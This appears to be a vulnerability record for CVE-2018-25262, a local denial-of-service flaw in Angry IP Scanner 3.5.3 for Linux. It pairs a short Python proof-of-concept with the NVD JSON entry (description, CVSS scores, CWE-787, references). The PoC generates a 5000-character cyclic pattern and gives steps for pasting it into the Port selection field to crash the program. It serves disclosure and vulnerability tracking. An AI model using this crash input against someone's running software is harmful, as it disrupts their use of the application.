CVE-2018-25262

# Proof of Concept (PoC) for CVE-2018-25262 # This script generates a pattern string that can trigger a DoS in Angry IP Scanner 3.5.3 def generate_pattern(length): """Generates a cyclic pattern to help identify buffer offsets or crash the app.""" pattern = "" upper = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" lower = "abcdefghijklmnopqrstuvwxyz" digits = "0123456789" # Basic pattern generation logic similar to Metasploit pattern_create.rb while len(pattern) < length: for i in range(len(upper)): for j in range(len(lower)): for k in range(len(digits)): if len(pattern) >= length: return pattern pattern += upper[i] + lower[j] + digits[k] return pattern if __name__ == "__main__": # Adjust length based on buffer size (5000 is a safe starting point for GUI fields) payload_length = 5000 payload = generate_pattern(payload_length) print(f"[+] Generated payload of length: {len(payload)}") print("[+] Steps to reproduce:") print("1. Open Angry IP Scanner for Linux 3.5.3") print("2. Go to Preferences -> Ports") print("3. Copy the string below and paste it into the 'Port selection' field") print("4. The application should crash immediately upon processing the input.") print("\n--- Payload ---") print(payload)

{"cve": {"id": "CVE-2018-25262", "sourceIdentifier": "[email protected]", "published": "2026-04-22T16:16:46.753", "lastModified": "2026-04-27T17:30:45.290", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Angry IP Scanner for Linux 3.5.3 contains a denial of service vulnerability that allows local attackers to crash the application by supplying malformed input to the port selection field. Attackers can craft a malicious string containing buffer overflow patterns and paste it into the Preferences Ports tab to trigger an application crash."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:angryip:angry_ip_scanner:*:*:*:*:*:linux:*:*", "versionEndIncluding": "3.5.3", "matchCriteriaId": "6367CBCA-DABD-4C45-9BD2-FB23D3A2C09A"}]}]}], "references": [{"url": "https://angryip.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46038", "source": "[email protected]", "tags": ["Exploit", "VDB Entry"]}, {"url": "https://www.vulncheck.com/advisories/angry-ip-scanner-for-linux-denial-of-service", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}